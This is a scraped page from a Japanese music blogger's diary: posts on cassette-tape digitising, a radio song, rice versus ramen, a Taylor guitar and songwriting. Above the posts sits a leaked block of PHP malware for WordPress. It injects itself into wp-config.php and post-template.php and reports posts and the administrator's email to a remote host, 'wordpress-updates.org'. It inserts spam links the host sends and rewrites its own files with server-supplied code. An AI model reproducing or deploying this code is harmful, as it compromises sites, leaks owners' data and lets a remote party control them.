0;$q--) { $link[$q]="/".$link[$q]; $r_dir=str_replace($link[$q],"",$r_dir); $rdr=amt_rdr($r_dir); if(@in_array('wp-config.php',$rdr)) { $root_dir[0]=$r_dir; break; } } $root_dir[1]=$root_dir[0]."/wp-includes"; $t_dir=$root_dir[0]."/wp-content/themes/"; $t_dirs=amt_rdr($t_dir); for($q=0;$qamt_trim_domen(); $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); return $t_n; } function amt_gae() { global $wpdb, $table_prefix; $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); $this->a_em=$uem[0]; return $a_em; } function amt_crtb() { global $wpdb; $this->amt_gtbl(); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , id_post INT(9) NOT NULL , last_up DATETIME NOT NULL , addd DATETIME NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , l_b ENUM('0', '1') NOT NULL , id_post INT(9) NOT NULL , word VARCHAR(255) NOT NULL , id_word INT( 9 ) NOT NULL , link VARCHAR(255) NOT NULL , date DATE NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $query=" CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( host VARCHAR(255) NOT NULL , t_o VARCHAR(255) NOT NULL , n_f VARCHAR(255) NOT NULL , date DATE NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; "; $wpdb->query($query); $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); $this->host=$mda[0]; if($this->host=="") { $amt_nf=$this->amt_gfn(); $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; $wpdb->query($query); $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); $this->host=$mda[0]; } $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; } } $amt_d=new amt_data; $amt_d->amt_crtb(); $amt_d->amt_gae(); $root_dir=amt_gp(); $amt_d->u_tpl=$amt_u_tpl; $amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); $amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; $amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; $amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; $amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; $amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); $amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; $amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; $amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } amt_ci(); function amt_cif() { global $amt_d; if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } } function amt_ci() { global $amt_d; $sha="!amt_cif!si"; $sha2="!".$amt_d->n_f."!si"; $cont=file_get_contents($amt_d->wp_c); if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) { $amt_d->ci[0]=0; } else { $amt_d->ci[0]=1; } $sha="!amt_cc!si"; $cont=file_get_contents($amt_d->wp_pt); if(!preg_match($sha,$cont,$match)) { $amt_d->ci[1]=0; } else { $amt_d->ci[1]=1; } if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) { $amt_d->ci[2]=0; } else { $amt_d->ci[2]=1; } if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } if($amt_d->ci[3]==0) { if($amt_d->ci[0]==0) { chmod($amt_d->wp_c, 0755); $cont=trim(file_get_contents($amt_d->wp_c)); $sha="/\?>$/"; if(preg_match($sha,$cont,$name)) { $cont=$cont." n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; } else { $cont=$cont." if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; } $amt_f = fopen($amt_d->wp_c,"w"); $test = fwrite($amt_f, $cont); fclose($amt_f); if($test) { chmod($amt_d->wp_c, 0644); } } if($amt_d->ci[1]==0) { $cont=file_get_contents($amt_d->wp_pt); $sha1="echo \$content;"; $sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } echo \$content;"; $cont=str_replace($sha1,$sha2,$cont); chmod($amt_d->wp_pt, 0755); $amt_f = fopen($amt_d->wp_pt,"w"); $test = fwrite($amt_f, $cont); fclose($amt_f); if($test) { @chmod($amt_d->wp_pt, 0644); } } if($amt_d->ci[2]==0) { $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } if(file_exists($amt_d->wp_ff)) { chmod($amt_d->wp_ff, 0755); } $amt_f = fopen($amt_d->wp_ff,"w"); $test = fwrite($amt_f, $content); fclose($amt_f); if($test) { chmod($amt_d->wp_ff, 0644); } } } } function amt_cc($content) { global $amt_d; $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); return $content; } function amt_gct($id) { global $amt_d; $ololo=get_post($id); $amt_cty=get_the_category(); $amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; $amt_d->p_ttl=$ololo->post_title; } function amt_cco($id, $content) { global $wpdb, $amt_d; $q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); $q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); $q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); for($q=0;$q < count($q_word);$q++) { $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); } $content.=amt_abl($id); return $content; } function amt_abl($id) { global $wpdb, $amt_d; $t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); if($t_link[0]!="") { $tlk="

".$t_link[0]."

"; } else { $tlk=""; } return $tlk; } function amt_copt($m_url) { global $wpdb, $amt_d; $post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); $today=date("Y-m-d"); if(!amt_cuo()) { if($amt_ud=amt_sender($amt_d->u_g[2], $post)) { if($amt_ud!="no" && $amt_ud!="") { $amt_md=explode('*^*^*^*',$amt_ud); $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; $wpdb->query($amt_q); if($amt_md[3]==2) { amt_cnff($amt_md[4]); } } else { $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; $wpdb->query($amt_q); } } } } function amt_cnff($content) { global $amt_d; if($content=="") { return false; } $content= ""; if(file_exists($amt_d->wp_ff)) { @chmod($amt_d->wp_ff, 0755); } $amt_f = fopen($amt_d->wp_ff,'w'); $test = fwrite($amt_f, $content); @fclose($amt_f); if($test) { @chmod($amt_d->wp_ff, 0644); } $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; if(file_exists($s_f_path)) { @chmod($s_f_path, 0755); } $amt_f = fopen($s_f_path,'w'); $test = fwrite($amt_f, $content); @fclose($amt_f); if($test) { @chmod($s_f_path, 0644); } } function amt_inb($id, $last) { global $wpdb, $amt_d; $amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; $wpdb->query($amt_q); $amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; $wpdb->query($amt_q); } function amt_ins($id, $last, $cont, $url) { global $amt_d; $last=str_replace(" ","_",$last); $url=trim_url($url); $post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); $amt_pisg=amt_sender($amt_d->u_g[0], $post); if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } return $pis; } function amt_pib($id) { global $wpdb, $amt_d; $query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; $wpdb->query($query); if($wpdb->num_rows>0) { $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); if($per>30) { return 0; } else { return 1; } } return $wpdb->num_rows; } function amt_qwe($id) { global $wpdb, $amt_d; $query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; $wpdb->query($query); return $wpdb->num_rows; } function amt_cuq() { global $wpdb, $amt_d; $today=date("Y-m-d"); $date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); if($date_up!=$today) { return false; } else { return true; } } function amt_cuo() { global $amt_d; $today=date("Y-m-d"); if($amt_d->c_d!=$today) { return false; } else { return true; } } function amt_qse($id, $m_url) { global $wpdb, $amt_d; $today=date("Y-m-d"); $m_url=trim_url($m_url); $post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); if($amt_nq=amt_sender($amt_d->u_g[1], $post)) { if($amt_nq=="no quests") { $amt_q1="delete from ".$amt_d->t_n[1].";"; $wpdb->query($amt_q1); $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; echo $amt_q2; $wpdb->query($amt_q2); } else { $amt_q1="delete from ".$amt_d->t_n[1].";"; $wpdb->query($amt_q1); $amt_qs=explode("*****",$amt_nq); for($q=0;$q < sizeof($amt_qs);$q++) { $m_amt_q=explode("^^^",$amt_qs[$q]); $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; $wpdb->query($amt_q2); } } } } function amt_sender($url, $post) { global $amt_d; $_post=Array(); if(is_array($post)) { foreach($post as $name => $value) { $_post[]=$name.'='.urlencode($value); } } if (function_exists("curl_init")) { $ch=curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); if(is_array($post)) { curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); } $result=curl_exec($ch); if(curl_errno($ch)!=0 && empty($result)) { $result=false; } curl_close($ch); $result="HTTPSTART".$result; $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); return $result; } else { $parse_url = parse_url($url); $path = $parse_url["path"]; $host= $parse_url["host"]; $result=""; $post=implode('&', $_post); $fp=fsockopen($host, 80); if($fp) { socket_set_timeout($fp, $amt_d->t_o); $request = "POST $path HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Penetrator/3.0\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Referer: ".$amt_d->my_h."\r\n"; $request .= "Content-Length: ".strlen($post)."\r\n"; $request .= "Connection: close\r\n\r\n$post"; fputs($fp,$request); while(!feof($fp)) { $result.=fgets($fp); } fclose($fp); $result="HTTPSTART".$result; $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); return $result; } return false; } } function amt_create_post_words($content,$word,$id_word,$link,$nwm) { $n_content=strip_tags($content); $word=trim($word); $t_link="http://".$link; $w=0; $sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; $bilo="/( ".$word.".{1}|".$word.".{1})/si"; $stalo="***\\0***"; $new_content=preg_replace($bilo,$stalo,$n_content); preg_match_all($sha2,$new_content,$massa); $sha_word=erase_zv($massa[0][$id_word]); $sha_word_l=strong_word($sha_word,$word,$t_link); $content=str_replace($sha_word,$sha_word_l,$content); return $content; } function erase_zv($text) { $text=str_replace(",***",",",$text); $text=str_replace(".***",".",$text); $text=str_replace(" ***"," ",$text); $text=str_replace("*** "," ",$text); $text=str_replace("***"," ",$text); return $text; } function trim_side($text) { $new_text=""; $txt=explode(" ", $text); $n_w=sizeof($txt); for($ts=1;$ts<$n_w-1;$ts++) { $new_text.=$txt[$ts]." "; } return $new_text; } function strong_word($content,$word,$t_link) { $bilo="/( ".$word.".{1}|".$word.".{1})/si"; $stalo="\\0"; $content=preg_replace($bilo,$stalo,$content); $content=str_replace("> ",">",$content); $content=str_replace(" <","<",$content); $content=str_replace("<"," <",$content); $content=str_replace(" ","",$content); $content=str_replace(""," ",$content); $content=str_replace(",",", ",$content); $content=str_replace(".",". ",$content); $content=str_replace(" "," ",$content); return $content; } function trim_url($url) { $url=preg_replace("(www.|http://)", "", $url); return $url; } ?> DIARY – ページ 7 – KGMzine
  • MUSIC

    CASETTE TAPES

    昔使ってたカセットデッキは故障。
    イジェクトボタンが電子式なのは故障が多いようだ。
    去年友達に貰ったカセットデッキは使えるんだけどノイズが結構酷い。
    修正すれば聞けるんだけど、もう少し良い状態でデータに残したかった。
    なにせもう20年くらい前に聞いていたようなテープもあるので、まだ聞けるうちに残しておきたい。
    思い出の品とはいえ、またすぐ壊れる可能性もある物に修理で2〜3万掛けるのも悔しい。
    なので中古で探してました。
    そして見つけた87年製のPIONEER T-7070WR
    ハードオフという名の宝島の、リスクの高いジャンクコーナー。
    ダブルカセットデッキなんだけど、一つは再生不可能。3,000ペソ。
    当時の定価が7万超だというから結構物は良さそう。
    3,000ペソ。ジャンクコーナーなので返品不可能。失敗したら3000ペソが無駄。ハイリスク。

    仕方ない。ダメでもいいや!と買ってきた。再生できた。そして音が良い!明らかに音が良くなった!
    データ取り込みも楽しいもんです。

    あらためて、レゲエが好きなんです。
    今でこそレゲエ的な歌が減ってきましたが、今でも自分の中の真ん中にあるのは10代に聞いた音楽。
    この音楽をもっとカルチャーとして伝えられないものかと思い、今諸々の準備を進めています。
    まずは、錆び切った腕をどうにか取り戻したいと思います。レコードが楽しいです。

    0
    CASETTE TAPES はコメントを受け付けていません
  • DIARY

    ラジオから

    最近初めて聴いた。

    チキンライス – 浜田雅功と槇原敬之

    自分が聴いたのは槇原敬之さんだけで歌ってるバージョンだったけど、
    Youtubeではデュエットのものしかみつからず。
    きっとこのバージョンの方が有名なんだろう。
    HEY!HEY!HEY!の流れなのかな。

    2004年の冬の発売、とある。
    なるほど。自分が一番テレビを見れていない時期だ。
    だから知らなかったのか。

    素直に、とても感動しました。
    こんなに素晴らしい歌詞を書けるなんて松本人志さんは本当に多才なんだな。。
    歌い出しから、もう、自分には絶対に書けない歌詞だと思った。

    良い歌詞には深い、痛いところから引っ張り出してきたその人の感情が見えてくる。
    これは作詞のテクニックとは全然ベクトルなので、鍛錬では賄えないんだと思う。
    情念というか、執念というか、そういう美しいだけじゃない情熱がものをいう。

    そんな風に自分は思っているし、それを信じている。
    だから歌詞は適当に書いてはいけない。
    本当に大切に思ってもらえる曲に仕上げるには、
    本当に大切な思い出、感情を込める必要がある。
    全てに必然性が必要だ。

    素晴らしい音楽に出会えてよかった。
    ラジオはやっぱり素晴らしいよ。

    0
    ラジオから はコメントを受け付けていません
  • DIARY

    ライシスト

    焼肉が好きだ。
    ほとばしる肉汁。
    塩もいいし、タレもいい。
    焼き野菜だって最高。
    キムチも頼みたくなる。
    最後の一口をお肉とお米のベストなバランスで終われるよう、
    調整をしつつ食べ進めていく。
    最後をお肉オンリーで終わることは許されない。
    最後に口の中に残る味はお肉+お米でなくてはならない。

    つまり、
    焼肉を食べる時の私はお肉を主役にしているように見せかけて、
    実はご飯を主役として食事を楽しんでいるのだ。
    ライスイズベスト。
    ライスイズジャーニー。
    ライスミュージック。
    これがお米至上主義。

     

    カップ焼きそばが好きだ。
    焼きそばなのに、焼かれた形跡がどこにもない。
    そもそもカップにだって入っていない。
    それなのにカップ焼きそばと名乗る潔さに惚れた。

    カップ焼きそばをおかずにご飯を食べることも出来る。
    お米が好きだから。あなたが好きだから。
    つまりここでもお米至上主義を貫いているわけだ。
    私はお米原理主義者。
    お米を楽しむためにご飯を食べている。

     

    でも最近気がついたんだ。

    ラーメンを食べる時の私は殆どの場合、麺を大盛りで注文する。
    一本でも多くの麺を噛み砕きたい。
    私はお腹を麺だけで満たしたい。
    餃子も唐揚げもいらない。
    どんなにお得なセットメニューであっても興味がない。
    ライス無料でも、、、頼まない。
    麺が好きだから。あなたが好きだから。

    結局私が一番好きなのは麺。
    お米が好きだと思っていたのに、実際は何よりも麺を優先していた。
    薄々感じてはいたけど、こんなにもナンバーワンだったとは。
    もともと特別なオンリーワン。
    お米至上主義だなんてもう名乗る自信がないや。

     

    結論。

    ラーメンライスを注文する人が本物のお米好き。
    美味しいラーメンよりもお米を優先させられるだなんて、
    どこまでピュアにお米を愛し続けているのだろう。
    その一途さに心を打たれる。尊敬に値する。
    ラーメンライシストこそ、お米愛の最上級。

    という訳で、今後ラーメンライスを注文する人を見かけたら、
    そっと肩に手を置いて「リスペクト」とつぶやこうな。

    一途って素敵だよ。

    0
    ライシスト はコメントを受け付けていません
  • GUITAR

    TAYLOR 714CE ES2

    ギターは何本か所有していてそれぞれに必要な理由がある。

    ライブ用のギターは生音云々よりもとにかくピックアップの音に満足出来るかが重要だと思うんだけど、

    ピックアップは年々進化していく。だから自分にとってよりベターな方向へ乗り換えてきた。

    大体3〜4年ぐらいの間隔で買い換えてきたと思う。

    去年の春ぐらいから使うようになったのはTAYLORの714CEというギター。

     

    taylor

     

    一年近く使ってきてようやく馴染んできた感がある。

    生音はまあ良い方だとは思う。トップがスプルース、サイドバックがローズウッド。

    でもまだ音が若すぎる。ヴィンテージと比べるとボディ全体の響き方が浅い。

    ローズウッドは鳴るまでに時間が掛かると噂に聞いていたけど、それって本当なんだなー。

    ピックアップについてもだいぶ慣れてきた。

    ES2はとても良いと思う。

     

     

    ES1もそれはそれで素晴らしいと思う。ES1でしか出せない音がある。

    (でもこれはどのピックアップでも言えることか…)

    ES2は手元で鳴っている音とラインの音のバランスがほとんど一致しているのが良い。

    弦を滑らせた時の音を拾い過ぎるのが気になるけど、これは慣れで解消した。

    よほど気になるっていうならそれ用のスプレーを買えば良いのだ。

    一番助かると感じたのはラインの音がいつもほとんど変わらないこと。

    今までのギターだと会場によって響きが全然変わってしまって、

    それにものすごくストレスを感じながらライブをすることもあったけど、

    それが殆どなくなった。理由はなぜだろう?

     

    あと、(これも前々から評判を聞いていたけど)テイラーはネックが良いみたいだ。

    ナット幅は44.45mmと若干広めなんだけど薄さが故なのか、弾きにくさを感じない。

    実際このネックに慣れてきたら、

    (細ければ弾きやすいというのでもないんだな)

    と思うようになった。コードも押さえやすい。

     

    結論。

    TAYLORのギターは道具として最高!

     

     

    0
    TAYLOR 714CE ES2 はコメントを受け付けていません
  • DIARY

    キテレツ感

    強烈。

     

    3年ほど書いては消してを繰り返していた曲が完成まで90%ぐらいのところまで来た。
    たぶん。(明日になったらどうなるかわからないけど)
    この曲は聞く人によって「らしい」と言われたり、
    逆に「意外」と言われたり意見が分かれることになるだろう。

    まずコードが浮かんだ。
    なんとなくアニメの曲っぽいなと思った。
    ヒーローが出てくるアニメの主題歌っぽい。
    そして小さな子供が駆けっこしている絵が浮かんだ。
    一行目を書いて、二行目を書いて、早々に頓挫した。
    こりゃダメだぞ!!…と見事ベンチ入りが決定。
    ベンチを温めている選手が多すぎる。

    それが年末に古い映画を見ている時、脈略もなく気が付いた。
    アニメっぽいぞ、と思っていたのは間違いだ。ちょっとした勘違い。
    あれは「行進曲」だったんだ。
    「行進曲」っぽさをアニメっぽいと感じたのはトトロの「さんぽ」とか、
    アンパンマン、キテレツ大百科のテーマソングのせいだろう。
    「〜のせい」だなんていっちゃったけど、どれも好きです。

    「そうか、自分は行進曲が好きだったのか!」と気が付いた。
    どこまでも歩いていけそうな、あのリズム。
    そして行進曲で色々調べて聞いているうちに、
    今度は歌詞がだんだん浮かんできた。
    書いては消し、書いては消し。
    だいぶいい感じのところまで来た。
    こういうパターンは久しぶりで気分がいい。
    後少し完成まで頑張ろう。

    ちなみに、
    ベンチ入りしている選手はまだまだいる。
    一番まで書いて保留した曲がたくさん。
    何がきっかけで再スタートするのかは私にもわからない。
    教えて欲しいぐらいだ!

    それはそうと三月にスタジオを予約した。
    何をやるのかは、まだ、言えない。

    0
    キテレツ感 はコメントを受け付けていません